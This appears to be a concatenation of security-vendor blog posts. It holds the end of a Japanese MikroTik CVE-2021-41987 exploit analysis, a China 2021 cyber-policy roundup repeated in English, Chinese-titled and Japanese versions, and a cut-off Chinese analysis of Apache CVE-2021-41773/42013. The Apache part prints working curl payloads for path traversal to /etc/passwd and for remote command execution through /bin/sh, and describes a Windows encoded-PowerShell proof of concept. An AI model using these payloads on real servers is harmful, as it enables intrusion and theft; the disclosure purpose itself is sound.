![Mikrotik 12.png](https://legacy-uploads.teamt5.org/Mikrotik_12_85dcd691f7.png)



```0x804fc04: pop esp; ret;``` は ```esp``` を0x8061a74+8に変更し、完全なROP chainに再接続します。 最後に ```mprotect``` を呼び出し、shellcode ( ```0x8061674``` )にジャンプして実行します。

このexploitのshellcodeの内容は、 ```unlink('/nova/store/user.dat') + sync() + reboot()``` です。 再起動後、Webインターフェースでパスワードを使わなくてもログインできることが確認できます。


### 結論
上記の解析により、このエクスプロイト（exploit）には、いくつかの制限があることを確認しました：

**1. 安定性が低い**
- ```add()``` は、けた上げ数を処理せず、ASLRがあることから、運が悪ければ攻撃の失敗に直接つながります。
- 再現を試みる過程で、当社もshellcodeが正常に実行されているにも関わらず（ ```/nova/store/user.dat``` が削除されている）、予想通りに再起動しないことがあることを発見しました。この部分については、shellcodeを改良して成功率を上げる必要があります。
- 再現を試みながら、当社もexploitとshellcodeの修正により安定性を高めようとしましたが、最終的な成功率は約5～6%にすぎませんでした。
- 唯一幸いだったのは、攻撃が失敗しても ```www``` がcrashしてwatchdogが再起動されるだけで、使用上に大きな問題はなく、ユーザーの目につくこともないという点です。


**2. 攻撃のための厳しい前提条件**

根本的な原因として述べたように、 ```scep_server_name``` を認識している必要があり、このpathがなければ、基本的に攻撃することはできません。

**3. 開示のタイムライン**

- ```2021/07/11``` : C2でexploit codeを発見
- ```2021/10/04``` : Mikrotikに報告、識別番号CVE-2021-41987を予約
- ```2021/11/17``` : Mikrotikがこの脆弱性を修正するアップデートを公開
- ```2022/03/01``` : CVE-2021-41987に関する詳細を開示

**4. 影響を受けるRouterOSのバージョン**

- ```6.46.8``` 
- ```6.47.9``` 
- ```6.47.10``` 

### TeamT5 D39脆弱性研究チームについて
D39は脆弱性のセキュリティと脆弱性の発掘に取り組んでおり、研究範囲には、Mobile、IOT、Linux、Windowsなど、インターネットに接続されるシステムやデバイスのすべてが含まれます。重大（Critical）または重要（Important）なセキュリティ脆弱性に関する豊富な経験を有し、Blackhat、HITCON、POCなど国際的なカンファレンスで講演を行っています。

エクスプロイト（exploit）の研究は常にインターネットの攻防における最先端技術の一つとなっており、TeamT5は、台湾において世界トップクラスの脆弱性研究者がますます多くなることを目指し、より多くの人材を育成するためにリソースを投入しています。当社は、勇気を持って未知の挑戦に立ち向かい、脆弱性の研究や発見という目標に向かって力を注ぐ独自の研究能力を備えた人々の参加をお待ちしています。 🤝

### 参考文献
- https://wiki.mikrotik.com/wiki/Manual:System/Certificates
- https://en.wikipedia.org/wiki/Base64

*画像のソース: Pixabay

Mikrotik 脆弱性の開示と届出（CVE-2021-41987）

# Why should you read this article?
China presents an enormous influence on the cyber threat landscape of the Asia-Pacific region. By analyzing China's cyberspace and regulatory state, one may catch a glimpse of the underlying shift of the cyber ecosystem and threat actors' TTPs and motivations. In this article, our analysts summarized the key incidents that shape China's cyberspace in 2021 and propose some outlooks for future development.
 

## Key Takeaways
1.	2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). In 2021, China had launched a sweeping tech crackdown and accelerated consolidation of power in reigning everything within the Great Firewall (GFW).
2.	The Chinese regulators had taken high-profile actions against major tech companies, especially those operating social media and commerce platforms. Firms like Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan have faced record fines and cybersecurity probes. In contrast, "hard tech" companies in strategically critical sectors like Huawei and SMIC have been mainly exempted from regulatory scrutiny.
3.	The Chinese regulators, led by the Cyberspace Administration of China (CAC), introduced and amended a series of regulations to tighten their control over the management and flow of data. The new rules range from privacy protection and data transfer to vulnerabilities disclosure.
4.	International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse, Signal, and Quran Majeed have been reportedly blocked in China. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing a challenging environment.
5.	With China's expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to their network and asset exposure to China's jurisdiction. Besides, we have observed that China's regulatory campaign were often followed by covert cyber operations. Indicators have shown that 2022 will undoubtedly be another challenging year for Chinese and international tech giants.

# Overview: A Year of Tech Crackdown

2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). One of the strategy’s ambitions is to tackle monopolies and review regulations related to the digital economy. Over the past year, the Chinese regulators had taken high-profile actions against major tech companies, especially those operate social media and commerce platforms. Prior to 2021, the relationships between the Chinese authorities and the country’s tech giants have been complex and in flux. For many years, the tech regulators had turned a blind eye to some illegal business practices, anti-competitive acts, and tax evasion of the tech giants, because these companies have brought China robust economic growth. However, in 2021, the Chinese regulators had taken high-profile actions against companies including Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan, levying record-high fines as well as imposing cybersecurity probes and a six-month rectification program. Companies in online gaming, private tutoring, and cryptocurrency were also among the casualties.

What is notable is that all the regulations and probes are directed at the consumer technology sector, rather than “hard tech” companies that are considered by China as strategically critical sectors, such as semiconductor, new materials, new energy, and aeronautics. Therefore, companies Huawei and Semiconductor Manufacturing International Corporation (SMIC) are largely exempted from regulatory scrutiny.

On the other hand, the Chinese regulators, led by the Cyberspace Administration of China (CAC), had introduced and amended a series of regulations to tighten their control over the management and flow of data. For instance, the CAC has implemented the Data Security Law that restricts cross-border data transfers as well as the Personal Information Protection Law which governs data privacy protection. The latter is also regarded as China’s version of the EU’s General Data Protection Regulation (GDPR). Meanwhile, the CAC also announced a new vulnerability disclosure regulation that requires vendors to share vulnerability reports with state agencies within two days. Because of the new law, Alibaba Cloud has faced punishment for not reporting the most serious vulnerability in recent years, Log4Shell, to the Chinese authorities in the first place.

# A More Difficult Environment for Domestic and International Tech Firms

International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse and Signal have been reportedly blocked in China, as these services allow the online users to exchange ideas without being censored by the Chinese government or Chinese social media platforms. Quran Majeed, a popular app among the Muslim community, was also banned in China, signaling more oppression against the Chinese Uyghurs. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing challenging environment. The abovementioned incidents have indicated that 2022 is very likely to be another difficult year for both domestic and international tech firms.

The following timeline have summed up China’s actions in reigning in the country’s cyberspace in 2021.

# Abbreviations

```
CCP: Chinese Communist Party

CAC: Cyberspace Administration of China

MIIT: Ministry of Industry and Information Technology

SAMR: State Administration for Market Regulation```


# Timeline
## 2021Q1
**January**

- SAMR launched antitrust investigation into Alibaba
- CAC issued a new law to regulate public accounts to combat disinformation and fake traffic



**February**

- SAMR finalized anti-monopoly guidelines
- MIIT drafted new regulations to combat excessive data collection by mobile apps
- US audio-chat app Clubhouse reportedly blocked in China



**March**

- CCP's Two Sessions 2021
- SAMR fined 10 big tech firms for failing to report acquisitions
- CAC issued new rules to tighten supervision over big tech’s collection of user data
- Encrypted messaging app Signal reportedly blocked in China


## 2021Q2
**April**

- SAMR imposed record US$2.8 Billion fine against Alibaba
- CAC launches hotline for netizens to report “illegal” history comments
- SAMR announced investigation into delivery giant Meituan
- CCP reviewed “Data Security Law” and “Personal Information Protection Law”
- CAC issue draft rules on users’ privacy protection of mobile apps



**May**

- CAC called out 84 apps Including Tencent, Alibaba, and Baidu for violating user privacy



**June**

- CCP Passed “Data Security Law” and “Anti- Foreign Sanctions Law”
- China widens cryptocurrency crackdown: mining projects shut down; banks ordered to step up clampdown


## 2021Q3
**July**

- CAC banned Didi Chuxing’s apps after its U.S. IPO
- CAC to amend “Cybersecurity Review Regulations,” tightening controls over foreign-listed firms
- CAC issued new vulnerability disclosure rules
- MIIT launched 6-month rectification program, ordering tech firms to fix anticompetitive, security issues
- 7 Chinese agencies sent officials to conduct on-site cybersecurity inspections at Didi Chuxing



**August**

- Chinese state media labeled online gaming “spiritual opium” and called out Tencent
- CAC drafted "Personal Information Protection Law"
- CAC launched regulations to protect critical information infrastructure
- China orders state firms to migrate to government cloud services



**September**

- CAC launched “Security Threat Information Sharing Platform” for reporting vulnerabilities
- CAC ruled all crypto-related transactions illegal


## 2021Q4
**October**

- LinkedIn shut down operation in China as compliance challenges increase
- CAC banned cross border transfer of core industrial and telecoms data
- China bans Quran Majeed, one of the most popular Quran apps in the world



**November**

- Personal Information Protection Law (PIPL) took effect
- Yahoo pulled out of China, citing 'challenging' environment
- China suspended Tencent apps update and limiting use in state-run firms
- China to ban business use of WeChat and Alipay personal payment QR codes
- China censored tennis star Peng Shuai over sexual assault claims against CCP high-ranking official



**December**

- CAC issued rules to block foreign religious content online
- MIIT suspended cooperation with Alibaba Cloud, citing delayed report of Log4j2 vulnerability
- Didi Global delisted from the NYSE
- CAC fined Weibo for publishing illegal information


# Outlook: China's Endless Pursuit of Cyber Power and Regulatory Control
So far, there is no indication that the Chinese government will loosen up its grip over the tech firms. With China’s expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to the exposure of their network and asset to China’s jurisdiction. On the other hand, we have observed that China's regulatory campaign were often followed by covert cyber operations. For instance, our telemetry had previously detected that China-nexus Advanced Persistent Threat (APT) groups targeted companies and organizations which were on the list of China's anti-corruption campaign.

The political landscape in China heavily influences the country's strategy in reigning its cyberspace. In August 2022, the Chinese Communist Party (CCP) will be hosting its 20th Party Congress, where the party’s leadership and policy agenda for the next five years will be announced. It is no surprise that the Chinese authorities will continue the enforcement actions, furthering tech crackdown under the name of “common prosperity” and consolidating the state’s position as the country’s most powerful cyber player.



*Image courtesy of [Pixabay](https://pixabay.com/)

China’s Cyber Power Intel Roundup 2021: Tech Crackdown, Regulatory Storm, and Power Expansion

> 中國對亞太地區的網路環境具有極高度影響力。透過分析中國的網路空間與監管作法，人們得以瞥見中國網路生態系的轉變，及網路攻擊行動者的動機與所使用之戰術、技術與流程（tactics, techniques, and procedures, TTP）。本文中，TeamT5 資安威脅情資分析師團隊總結形塑了2021年中國網路空間的關鍵事件，並提出對未來發展態勢的看法。

# Why should you read this article?
China presents an enormous influence on the cyber threat landscape of the Asia-Pacific region. By analyzing China's cyberspace and regulatory state, one may catch a glimpse of the underlying shift of the cyber ecosystem and threat actors' TTPs and motivations. In this article, our analysts summarized the key incidents that shape China's cyberspace in 2021 and propose some outlooks for future development.

## Key Takeaways
1.	2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). In 2021, China had launched a sweeping tech crackdown and accelerated consolidation of power in reigning everything within the Great Firewall (GFW).
2.	The Chinese regulators had taken high-profile actions against major tech companies, especially those operating social media and commerce platforms. Firms like Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan have faced record fines and cybersecurity probes. In contrast, "hard tech" companies in strategically critical sectors like Huawei and SMIC have been mainly exempted from regulatory scrutiny.
3.	The Chinese regulators, led by the Cyberspace Administration of China (CAC), introduced and amended a series of regulations to tighten their control over the management and flow of data. The new rules range from privacy protection and data transfer to vulnerabilities disclosure.
4.	International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse, Signal, and Quran Majeed have been reportedly blocked in China. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing a challenging environment.
5.	With China's expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to their network and asset exposure to China's jurisdiction. Besides, we have observed that China's regulatory campaign were often followed by covert cyber operations. Indicators have shown that 2022 will undoubtedly be another challenging year for Chinese and international tech giants.

# Overview: A Year of Tech Crackdown
2021 was a significant year for Chinese cyberspace, as it marked the start of China's 14th Five-Year Plan (2021-2025). One of the strategy’s ambitions is to tackle monopolies and review regulations related to the digital economy. Over the past year, the Chinese regulators had taken high-profile actions against major tech companies, especially those operate social media and commerce platforms. Prior to 2021, the relationships between the Chinese authorities and the country’s tech giants have been complex and in flux. For many years, the tech regulators had turned a blind eye to some illegal business practices, anti-competitive acts, and tax evasion of the tech giants, because these companies have brought China robust economic growth. However, in 2021, the Chinese regulators had taken high-profile actions against companies including Alibaba, ByteDance, Tencent, Didi Chuxing, and Meituan, levying record-high fines as well as imposing cybersecurity probes and a six-month rectification program. Companies in online gaming, private tutoring, and cryptocurrency were also among the casualties.

What is notable is that all the regulations and probes are directed at the consumer technology sector, rather than “hard tech” companies that are considered by China as strategically critical sectors, such as semiconductor, new materials, new energy, and aeronautics. Therefore, companies Huawei and Semiconductor Manufacturing International Corporation (SMIC) are largely exempted from regulatory scrutiny.

On the other hand, the Chinese regulators, led by the Cyberspace Administration of China (CAC), had introduced and amended a series of regulations to tighten their control over the management and flow of data. For instance, the CAC has implemented the Data Security Law that restricts cross-border data transfers as well as the Personal Information Protection Law which governs data privacy protection. The latter is also regarded as China’s version of the EU’s General Data Protection Regulation (GDPR). Meanwhile, the CAC also announced a new vulnerability disclosure regulation that requires vendors to share vulnerability reports with state agencies within two days. Because of the new law, Alibaba Cloud has faced punishment for not reporting the most serious vulnerability in recent years, Log4Shell, to the Chinese authorities in the first place.

# A More Difficult Environment for Domestic and International Tech Firms

International technology firms also faced pressures and censorship from the Chinese regulators. Famous apps like Clubhouse and Signal have been reportedly blocked in China, as these services allow the online users to exchange ideas without being censored by the Chinese government or Chinese social media platforms. Quran Majeed, a popular app among the Muslim community, was also banned in China, signaling more oppression against the Chinese Uyghurs. Besides, companies like LinkedIn and Yahoo have pulled out of China, citing challenging environment. The abovementioned incidents have indicated that 2022 is very likely to be another difficult year for both domestic and international tech firms.

The following timeline have summed up China’s actions in reigning in the country’s cyberspace in 2021.

# Abbreviations

```
CCP: Chinese Communist Party

CAC: Cyberspace Administration of China

MIIT: Ministry of Industry and Information Technology

SAMR: State Administration for Market Regulation```


# Timeline
## 2021Q1
**January**

- SAMR launched antitrust investigation into Alibaba
- CAC issued a new law to regulate public accounts to combat disinformation and fake traffic



**February**

- SAMR finalized anti-monopoly guidelines
- MIIT drafted new regulations to combat excessive data collection by mobile apps
- US audio-chat app Clubhouse reportedly blocked in China



**March**

- CCP's Two Sessions 2021
- SAMR fined 10 big tech firms for failing to report acquisitions
- CAC issued new rules to tighten supervision over big tech’s collection of user data
- Encrypted messaging app Signal reportedly blocked in China


## 2021Q2
**April**

- SAMR imposed record US$2.8 Billion fine against Alibaba
- CAC launches hotline for netizens to report “illegal” history comments
- SAMR announced investigation into delivery giant Meituan
- CCP reviewed “Data Security Law” and “Personal Information Protection Law”
- CAC issue draft rules on users’ privacy protection of mobile apps



**May**

- CAC called out 84 apps Including Tencent, Alibaba, and Baidu for violating user privacy



**June**

- CCP Passed “Data Security Law” and “Anti- Foreign Sanctions Law”
- China widens cryptocurrency crackdown: mining projects shut down; banks ordered to step up clampdown


## 2021Q3
**July**

- CAC banned Didi Chuxing’s apps after its U.S. IPO
- CAC to amend “Cybersecurity Review Regulations,” tightening controls over foreign-listed firms
- CAC issued new vulnerability disclosure rules
- MIIT launched 6-month rectification program, ordering tech firms to fix anticompetitive, security issues
- 7 Chinese agencies sent officials to conduct on-site cybersecurity inspections at Didi Chuxing



**August**

- Chinese state media labeled online gaming “spiritual opium” and called out Tencent
- CAC drafted "Personal Information Protection Law"
- CAC launched regulations to protect critical information infrastructure
- China orders state firms to migrate to government cloud services



**September**

- CAC launched “Security Threat Information Sharing Platform” for reporting vulnerabilities
- CAC ruled all crypto-related transactions illegal


## 2021Q4
**October**

- LinkedIn shut down operation in China as compliance challenges increase
- CAC banned cross border transfer of core industrial and telecoms data
- China bans Quran Majeed, one of the most popular Quran apps in the world



**November**

- Personal Information Protection Law (PIPL) took effect
- Yahoo pulled out of China, citing 'challenging' environment
- China suspended Tencent apps update and limiting use in state-run firms
- China to ban business use of WeChat and Alipay personal payment QR codes
- China censored tennis star Peng Shuai over sexual assault claims against CCP high-ranking official



**December**

- CAC issued rules to block foreign religious content online
- MIIT suspended cooperation with Alibaba Cloud, citing delayed report of Log4j2 vulnerability
- Didi Global delisted from the NYSE
- CAC fined Weibo for publishing illegal information


# Outlook: China's Endless Pursuit of Cyber Power and Regulatory Control
So far, there is no indication that the Chinese government will loosen up its grip over the tech firms. With China’s expansion of power over cyberspace, stakeholders and cybersecurity practitioners should stay vigilant to the exposure of their network and asset to China’s jurisdiction. On the other hand, we have observed that China's regulatory campaign were often followed by covert cyber operations. For instance, our telemetry had previously detected that China-nexus Advanced Persistent Threat (APT) groups targeted companies and organizations which were on the list of China's anti-corruption campaign.

The political landscape in China heavily influences the country's strategy in reigning its cyberspace. In August 2022, the Chinese Communist Party (CCP) will be hosting its 20th Party Congress, where the party’s leadership and policy agenda for the next five years will be announced. It is no surprise that the Chinese authorities will continue the enforcement actions, furthering tech crackdown under the name of “common prosperity” and consolidating the state’s position as the country’s most powerful cyber player.


*圖片來源: [Pixabay](https://pixabay.com/)



中國網路威脅之2021年情資綜述: 打壓科技巨頭、監管風暴、權力擴張

# この記事を読んでおきたい理由
中国は、アジア太平洋地域のサイバー脅威の状況に大きな影響を及ぼしています。中国のサイバースペースと規制状況を分析することで、サイバーエコシステムの根本的な変化を知り、脅威アクターのTTPや動機を垣間見ることができます。本記事では、2021年の中国のサイバースペースを形成した重要なインシデントをまとめており、今後の展開についてもいくつかの展望を提案しています。
 

## 重要な事項
1.	2021年は、中国の第14次5カ年計画（2021～2025年）が開始する年でもあり、中国のサイバースペースにとって重要な年でした。2021年、中国はグレートファイアウオール（GFW）の中にすべてをおさめるため、徹底的な技術取り締まりを実施し、権力をさらに強化させました。
2.	中国の規制当局は、大手ハイテク企業、特にソーシャルメディアやコマースプラットフォームを運営する企業に対して、注目度の高い措置を取りました。Alibaba、ByteDance、Tencent、Didi Chuxing、Meituanなどの企業が、記録的な罰金とサイバーセキュリティの調査に直面しました。それに対して、HuaweiやSMICなどの戦略的に重要な分野に属する「ハードテック」企業の多くは、規制当局の監視から免除されました。
3.	中国サイバースペース管理局（CAC）を中心とした中国の規制当局は、データの管理と流れの管理を強化すべく、一連の規制を導入し、修正を行いました。新しい規則は、プライバシー保護やデータ転送、脆弱性の開示など多岐にわたるものです。
4.	また、国際的なテクノロジー企業も中国の規制当局からの圧力や検閲に直面しました。Clubhouse、Signal、Quran Majeedなどの有名なアプリが中国でブロックされたことが繰り返し報じられました。その他にも、LinkedInやYahooなどの企業が、厳しい環境を理由に中国から撤退しています。
5.	中国のサイバースペースにおける力が拡大する中、関係者やサイバーセキュリティ専門家は、中国の司法権にさらされるネットワークや資産を慎重に扱う必要があります。それだけではなく、中国の規制キャンペーンの後には、秘密のサイバー作戦が後続する傾向にあることもわかっています。2022年も、中国や世界のハイテク企業にとって厳しい年になることは間違いない兆候にあります。


# 概要：技術取り締まりが多発した年

2021年は、中国の第14次5カ年計画（2021～2025年）が開始する年でもあり、中国のサイバースペースにとって重要な年でした。この戦略の目的の1つが、独占事業への取り組みとデジタル経済に関連した規制の見直しです。この1年にわたって、中国の規制当局は、大手ハイテク企業、特にソーシャルメディアやコマースプラットフォームを運営する企業に対して、注目度の高い措置を取りました。2021年までは、中国当局と同国の技術系最大手企業との関係は複雑で流動的なものでした。長年にわたり、規制当局はこういった企業の違法なビジネス行為、反競争的行為、脱税などの行為に対して目をつぶってきました。なぜなら、技術系企業が中国に強固な経済成長をもたらしていたからです。しかしながら、2021年、中国の規制当局は、Alibaba、ByteDance、Tencent、Didi Chuxing、Meituanなどの企業に対して、過去最高額の罰金を課すとともに、サイバーセキュリティの調査や6ヶ月の是正プログラムを課すなど、注目を集める措置をとりました。オンラインゲーム、家庭教師、暗号通貨などを運営する企業も犠牲となりました。

注目すべきは、すべての規制や調査が、半導体、新素材、新エネルギー、航空などの中国が戦略的に重要と考える「ハードテック」企業ではなく、消費者向け技術分野に向けられている点です。そのため、HuaweiやSemiconductor Manufacturing International Corporation（SMIC）といった企業は、規制当局の監視対象からほとんど除外されています。

一方で、中国サイバースペース管理局（CAC）を中心とした中国の規制当局は、データの管理と流れの管理を強化すべく、一連の規制を導入し、修正を行いました。例えば、CACは、国境を越えたデータ転送を制限するデータセキュリティ法や、データプライバシー保護を規定する個人情報保護法を執行しました。個人情報保護法は、EUの一般データ保護規則（GDPR）の中国版とも位置づけられています。それと同時に、CACはベンダーに対して2日以内に脆弱性レポートを州当局と共有することを義務付ける、新しい脆弱性開示規制も発表しました。この新しい法律により、Alibaba Cloudは、近年で最も深刻な脆弱性であるLog4Shellを第一に中国当局に報告しなかったことで処分されました。

# 国内外の技術系企業にとって環境が厳格化

また、国際的なテクノロジー企業も中国の規制当局からの圧力や検閲に直面しました。ClubhouseやSignalなどの有名なアプリが中国で繰り返しブロックされています。これらのサービスでは、中国政府や中国のソーシャルメディアプラットフォームの検閲を受けることなく、オンラインユーザーが意見を交換することができるからです。イスラム教徒の間で人気のアプリであるQuran Majeedも中国で禁止され、中国のウイグル人に対する弾圧がさらに強まる兆候にあります。その他にも、LinkedInやYahooなどの企業が、厳しい環境を理由に中国から撤退しています。上述のようなインシデントから、2022年も国内外の技術系企業にとって厳しい年となる可能性が非常に高いことがわかります。

以下の年表は、2021年度に中国がサイバースペースに影響を及ぼした行動をまとめたものです。

# 略語

```
CCP: 中国共産党

CAC: 中国サイバースペース管理局

MIIT: 中華人民共和国工業情報化部

SAMR: 国家市場監督管理総局```


# 年表
## 2021Q1
**1月**

- SAMRがAlibabaへの独占禁止法調査を開始
- CACが偽情報と偽トラフィックに対抗するため、公会計を規制する新法を発表




**2月**

- SAMRが独占禁止法ガイドラインを成立
- MIITがモバイルアプリによる過度なデータ収集に対処するための新たな規制を立案
- 米国のオーディオチャットアプリ「Clubhouse」が中国でブロックされたと報道あり




**3月**

- CCPのTwo Sessions 2021
- SAMRが買収を報告しなかった大手技術系企業10社に罰金の支払いを命令
- CACが、大手ハイテク企業によるデータ収集への監督を強化するため新規則を発表
- 暗号化メッセージアプリ「Signal」が中国でブロックされたと報道あり



## 2021Q2
**4月**

- SAMRがAlibabaに過去最高の28億ドルの罰金の支払いを命令
- CACはネットユーザーが「違法な」履歴コメントを報告することができるホットラインを開設
- SAMRが宅配大手企業「Meituan」に対する調査を発表
- CCPが「データセキュリティ法」と「個人情報保護法」の見直しを実施
- CACがモバイルアプリ利用者のプライバシー保護に対する規則の草案を発表




**5月**

- CACはTencent、Alibaba、Baiduなどの84個のアプリがユーザーのプライバシーを侵害しているとして摘発




**6月**

- CCPが「データセキュリティ法」と「反外国人制裁法」を可決
- 中国が暗号通貨の取り締まりを拡大。マイニングプロジェクトが閉鎖され、銀行に取締りを強化するよう要請


## 2021Q3
**7月**

- CACが米国IPO後にDidiChuxingのアプリを禁止IPO
- CACが「サイバーセキュリティ審査規則」を改正し、外国上場企業に対する規制を強化
- CACが脆弱性開示に関する新規則を発表
- MIITが6か月の修正プログラムを開始し、技術系企業に反競争的なセキュリティの問題を修正するように命令
- 7つの中国の機関が、Didi Chuxingでサイバーセキュリティ検査を実施するために職員を派遣




**8月**

- 中国の国営メディアがオンラインゲームを「精神面に影響するアヘン」と名付け、Tencentを非難
- CACが「個人情報保護法」を起草
- CACが重要な情報インフラストラクチャを保護するための規制を制定
- 中国が国営企業に政府のクラウドサービスへの移行を命令




**9月**

- CACが脆弱性を報告するための「セキュリティ脅威情報共有プラットフォーム」を発表
- CACがすべての暗号関連の取引を違法と判断



## 2021Q4
**10月**

- LinkedInがコンプライアンスの課題が増えたことを理由に中国での事業を停止
- CACが主要な産業や電気通信データの国境を越えた転送を禁止
- 中国は、世界で最も人気のあるコーランアプリの1つであるQuran Majeedを禁止




**11月**

- 「個人情報保護法」（PIPL）の施行を開始
- Yahooが「困難な」環境を理由に中国から撤退
- 中国がTencentアプリの更新を一時停止し、国営企業のみでの使用に制限
- 中国がビジネスでのWeChatとAlipayの個人決済QRコードの使用を禁止
- 中国が、CCPの高官に対する性的暴行の主張をめぐってテニススターの彭帥を検閲




**12月**

- CACが外国からの宗教的なオンラインコンテンツをブロックするための規則を発表
- MIITは、Log4j2の脆弱性の報告が遅れたことを理由に、Alibaba Cloudとの提携を停止
- Didi Globalがニューヨーク証券取引所から上場廃止
- CACが違法な情報を公開したとしてWeiboに罰金の支払いを命令



# 展望：中国はサイバーパワーと規制管理を際限なく追求
今のところ、中国政府が技術系企業への管理を緩和させる気配はありません。中国のサイバースペースにおける力が拡大する中、関係者やサイバーセキュリティ専門家は、中国の司法権にさらされるネットワークや資産を慎重に扱う必要があります。またその一方で、中国の規制キャンペーンの後には、秘密のサイバー作戦が後続する傾向にあることもわかっています。例えば、当社のテレメトリーは、中国関連のAPT（Advanced Persistent Threat）グループが、中国の腐敗防止キャンペーンのリストに載っている企業や組織を標的にしていることを以前に検出しています。

中国の政治状況は、サイバースペースを支配する中国の戦略に大きく影響します。2022年8月には、中国共産党（CCP）が第20回党大会を開催します。ここで、今後5年間の党指導部と政策アジェンダが発表される予定です。中国当局が取締りを継続し、「共同繁栄」の名の下に技術取り締まりをさらに強化して、国内最強のサイバープレイヤーとしての国家の地位を固めたとしても驚くにはあたらないでしょう。



*画像のソース: [Pixabay](https://pixabay.com/)

中国のサイバーパワーインテリジェンスまとめ 2021：技術の取り締まり、規制の嵐、電力の拡張

# **前言**

Apache HTTP Server 是一個開放原始碼的網頁伺服器軟體，由於其跨平台和方便性，被廣泛使用的 Web 伺服器軟體之一。而近期 Apache HTTP Server 被揭露出兩個高風險漏洞（CVE-2021-41773 以及 CVE-2021-42013），大部分網路上揭露的漏洞利用細節都是著重於 Linux 系統為主，但我們知道 Windows 其實也存在此漏洞問題，我們將於本文揭露完整漏洞利用細節，並且提醒大家務必儘早將 Apache 更新至最新版本，以免落入駭客攻擊的目標！

![meme.jpg](https://legacy-uploads.teamt5.org/meme_c7a9e6fc2c.jpg)

## **弱點說明**

研究人員發現 Apache 伺服器存在漏洞，攻擊者可藉由發送特製的 HTTP 請求，利用此漏洞來達成路徑列舉或遠端程式碼執行的攻擊效果，以下是使用 CURL 指令實做的 Linux 攻擊程式碼(Payload)：

攻擊成效一：任意下載系統檔案(Path Traversal)

```curl -s --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
etc/passwd"
```

攻擊成效二：遠端程式碼執行(Remote Code Execution)

```curl -s -d "echo;id" --path-as-is "http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/
bin/sh"
```

**漏洞成因**

首先，我們以上面攻擊語法為例，在 Apache 2.4.50 並未妥善修正弱點，故可以使用 double encode 的方式，通殺兩個弱點（CVE-2021-41773 和 CVE-2021-42013），原因是 Apache 在處理外部 HTTP 請求時，會呼叫 ap_process_request_internal 函式對 url 路徑進行處理，在該函式中，首先會呼叫 ap_normalize_path 函式進行一次 url 解碼，之後會呼叫 ap_unescape_url 函式進行二次解碼，可以看圖一為 Apache 2.4.50 未完善修補漏洞的關鍵程式碼，我們可以看到原本第 571 行並沒有檢查編碼後的路徑跳脫，所以從 576 行開始，加上了相對應的檢查，但是檢查仍不完善可透過 double encode 的方式繞過。

![pic 1_new](https://legacy-uploads.teamt5.org/Image_Pasted_at_2022_1_4_15_54_6cee7732be.png)
<center>圖一：Apache 2.4.49 和 2.4.50 程式碼 diff</center>

攻擊語法經過兩次 Decode 過程：

```
http://127.0.0.1/icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32
%65%%32%65/%%32%65%%32%65/%%32%65%%32
%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh
```

```
http://127.0.0.1/icons/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/
%2e%2e/%2e%2e/%2e%2e/bin/sh
```

所以最後會將此 URI Decode 為：

```
http://127.0.0.1/icons/../../../../../../../../../../bin/sh
```

因此，透過上面的簡單說明，我們可以看到原本 Apache 對於使用者傳入的路徑，並沒有完善的檢查路徑跳脫，導致可讓攻擊者輸入惡意 payload 達成攻擊效果。

接下來的重點，我們將來探討 Windows 平台的利用方式及案例：

## **PoC on Windows**

- 我們從官網下載 Apache 並架設為攻擊靶機（IP: 192.168.56.161）

**攻擊成效一：任意下載系統檔案（Path Traversal）**

下圖二範例為讀取 C:/Windows/win.ini 檔案內容

![pic 2.png](https://legacy-uploads.teamt5.org/pic_2_792d054cbf.png)
<center>圖二：任意下載系統檔案</center>

**攻擊成效二：遠端程式碼執行（Remote Code Execution）**

1. 透過 cmd.exe 執行 powershell，將 c.bat 寫入 C:\Users\Public\，因為 cgi 程式沒有正確的 http header response，所以會 apache 回覆 status code 500，但其實 script 已經執行成功，請參考下圖三。
![pic 3.png](https://legacy-uploads.teamt5.org/pic_3_3f12f57192.png)
<center>圖三：執行結果畫面</center>

2. 接下來可以透過 c.bat 去執行任意指令，並看到執行結果（如圖四）

![pic 4.png](https://legacy-uploads.teamt5.org/pic_4_b195f466cb.png)
<center>圖四：執行結果畫面</center>

此為透過 Process Monitor 工具，記錄下來的程式執行流程（圖五）：

![pic 5.png](https://legacy-uploads.teamt5.org/pic_5_c18bad34ee.png)
<center>圖五：Process Monitor 畫面圖</center>

Process Monitor 程式執行結果圖，仔細觀察會發現執行指令包含特殊字元時，會被雙引號刮起來，e.g. : ```cmd.exe "/c powershell.exe -NoProfile -EncodedCommand ..."```，因為 cmd.exe 的一些特性，導致指令可以正常執行。

**cmd.exe magic parser**

為了研究Payload為什麼帶了引號還能執行，因此我們延伸分析了cmd遇到不同引號的解析結果。

- help documentation

![pic 6-2.png](https://legacy-uploads.teamt5.org/pic_6_2_f1ab2bc981.png)

<center>圖六：cmd 執行畫面</center>

- Surprise!

![pic 7.png](https://legacy-uploads.teamt5.org/pic_7_f58e914086.png)

<center>圖七：cmd 執行畫面</center>

| **Command ** | **Similar** |
|---|---|
